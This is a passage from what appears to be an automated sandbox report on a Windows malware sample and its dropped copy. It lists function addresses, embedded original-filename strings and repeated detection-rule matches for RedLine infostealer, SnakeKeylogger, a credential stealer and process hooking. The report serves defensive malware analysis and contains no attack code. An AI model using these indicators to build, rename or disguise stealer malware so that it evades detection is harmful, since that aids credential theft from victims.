          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0741A57012_2_0741A570
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0741557B12_2_0741557B
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07413D0812_2_07413D08
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0741558812_2_07415588
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0741144012_2_07411440
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0741145012_2_07411450
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07413CF812_2_07413CF8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07412C9612_2_07412C96
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07412CAD12_2_07412CAD
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0741834812_2_07418348
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0741835812_2_07418358
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07410B7612_2_07410B76
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07410B3D12_2_07410B3D
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0741539812_2_07415398
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_074153A812_2_074153A8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07418A8012_2_07418A80
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_07418A9012_2_07418A90
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0741510812_2_07415108
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0741511812_2_07415118
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0741004012_2_07410040
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0741000612_2_07410006
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_074118D912_2_074118D9
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_074118E812_2_074118E8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 12_2_0741809012_2_07418090
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030DD20B15_2_030DD20B
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030DD7B815_2_030DD7B8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030DA59815_2_030DA598
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030DD4EB15_2_030DD4EB
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030D74E015_2_030D74E0
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030DC4E015_2_030DC4E0
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030DC98015_2_030DC980
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030D586F15_2_030D586F
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030DCF3015_2_030DCF30
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030D6EA815_2_030D6EA8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030DEEE015_2_030DEEE0
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030DCC5815_2_030DCC58
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030D431115_2_030D4311
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030DC6A815_2_030DC6A8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030DFBA815_2_030DFBA8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030DEED015_2_030DEED0
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030D2EF815_2_030D2EF8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6957815_2_05F69578
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6504815_2_05F65048
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F69C4815_2_05F69C48
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6D9D815_2_05F6D9D8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6D9C815_2_05F6D9C8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6258015_2_05F62580
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6D58015_2_05F6D580
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6257715_2_05F62577
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6D57015_2_05F6D570
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6D12815_2_05F6D128
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6D11915_2_05F6D119
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6CCD015_2_05F6CCD0
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6CCC015_2_05F6CCC0
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6FC9815_2_05F6FC98
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6004015_2_05F60040
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6F84015_2_05F6F840
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6F83115_2_05F6F831
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6503C15_2_05F6503C
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6000715_2_05F60007
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6F3E815_2_05F6F3E8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6F3D715_2_05F6F3D7
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F68BC015_2_05F68BC0
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F617B015_2_05F617B0
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F68BB115_2_05F68BB1
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6EF9015_2_05F6EF90
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6179F15_2_05F6179F
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6EF8015_2_05F6EF80
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6935815_2_05F69358
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F60B3015_2_05F60B30
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6EB3815_2_05F6EB38
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F60B2315_2_05F60B23
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6EB2915_2_05F6EB29
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6E6E015_2_05F6E6E0
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6E6D015_2_05F6E6D0
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F61E9815_2_05F61E98
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F61E8B15_2_05F61E8B
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6E28815_2_05F6E288
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6E27915_2_05F6E279
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6DE3015_2_05F6DE30
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_05F6DE1F15_2_05F6DE1F
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_0736649015_2_07366490
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_0736BE1815_2_0736BE18
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_0736356C15_2_0736356C
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_07364DE015_2_07364DE0
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_0736503815_2_07365038
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: String function: 0040E1D8 appears 44 times
          Source: FT876567090.exe, 00000000.00000002.2186517924.0000000006D8E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamePowerShell.EXEj% vs FT876567090.exe
          Source: FT876567090.exe, 00000000.00000002.2180274633.0000000004234000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMontero.dll8 vs FT876567090.exe
          Source: FT876567090.exe, 00000000.00000002.2180274633.0000000004234000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameAubriella.exe4 vs FT876567090.exe
          Source: FT876567090.exe, 00000000.00000002.2173814458.0000000000BEE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs FT876567090.exe
          Source: FT876567090.exe, 00000000.00000002.2186456709.0000000006D40000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameArthur.dll" vs FT876567090.exe
          Source: FT876567090.exe, 00000000.00000000.2138711938.00000000006D0000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameXtqX.exe, vs FT876567090.exe
          Source: FT876567090.exe, 00000000.00000002.2180274633.00000000039C9000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameAubriella.exe4 vs FT876567090.exe
          Source: FT876567090.exe, 00000000.00000002.2180274633.00000000039C9000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameArthur.dll" vs FT876567090.exe
          Source: FT876567090.exe, 00000000.00000002.2190929165.000000000A2C0000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameMontero.dll8 vs FT876567090.exe
          Source: FT876567090.exe, 00000000.00000002.2179357230.0000000002BF2000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameAubriella.exe4 vs FT876567090.exe
          Source: FT876567090.exe, 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameAubriella.exe4 vs FT876567090.exe
          Source: FT876567090.exe, 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilename_.dll4 vs FT876567090.exe
          Source: FT876567090.exe, 0000000A.00000002.3387112013.0000000000BD6000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: OriginalFilenameUNKNOWN_FILET vs FT876567090.exe
          Source: FT876567090.exe, 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameAubriella.exe4 vs FT876567090.exe
          Source: FT876567090.exe, 0000000A.00000002.3389715917.0000000002BB8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_.dll4 vs FT876567090.exe
          Source: FT876567090.exeBinary or memory string: OriginalFilenameXtqX.exe, vs FT876567090.exe
          Source: FT876567090.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
          Source: 12.2.EYDNKhhJr.exe.448c7b0.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 0.2.FT876567090.exe.45117a8.2.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 0.2.FT876567090.exe.39f4448.3.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 12.2.EYDNKhhJr.exe.4459990.2.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 0.2.FT876567090.exe.45117a8.2.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 12.2.EYDNKhhJr.exe.4459990.2.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 10.2.FT876567090.exe.2f20000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 10.2.FT876567090.exe.2f20000.1.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 10.2.FT876567090.exe.2f20000.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 15.2.EYDNKhhJr.exe.2f9fd66.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 10.2.FT876567090.exe.5560000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 15.2.EYDNKhhJr.exe.2f9fd66.1.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 10.2.FT876567090.exe.5560000.3.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 15.2.EYDNKhhJr.exe.2f9fd66.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 10.2.FT876567090.exe.5560000.3.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 10.2.FT876567090.exe.2f20f20.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 10.2.FT876567090.exe.2f20f20.2.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 10.2.FT876567090.exe.2f20f20.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 10.2.FT876567090.exe.5560000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 15.2.EYDNKhhJr.exe.2fa0c86.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 10.2.FT876567090.exe.2f20f20.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 15.2.EYDNKhhJr.exe.2f9fd66.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 15.2.EYDNKhhJr.exe.2fa0c86.2.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 10.2.FT876567090.exe.2f20000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 10.2.FT876567090.exe.5560000.3.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 15.2.EYDNKhhJr.exe.2fa0c86.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 10.2.FT876567090.exe.2f20f20.2.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 15.2.EYDNKhhJr.exe.2f9fd66.1.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 15.2.EYDNKhhJr.exe.2fa0c86.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 15.2.EYDNKhhJr.exe.2f9fd66.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 10.2.FT876567090.exe.2f20000.1.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 10.2.FT876567090.exe.5560000.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 10.2.FT876567090.exe.2f20000.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 15.2.EYDNKhhJr.exe.2fa0c86.2.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 10.2.FT876567090.exe.2f20f20.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 15.2.EYDNKhhJr.exe.2fa0c86.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
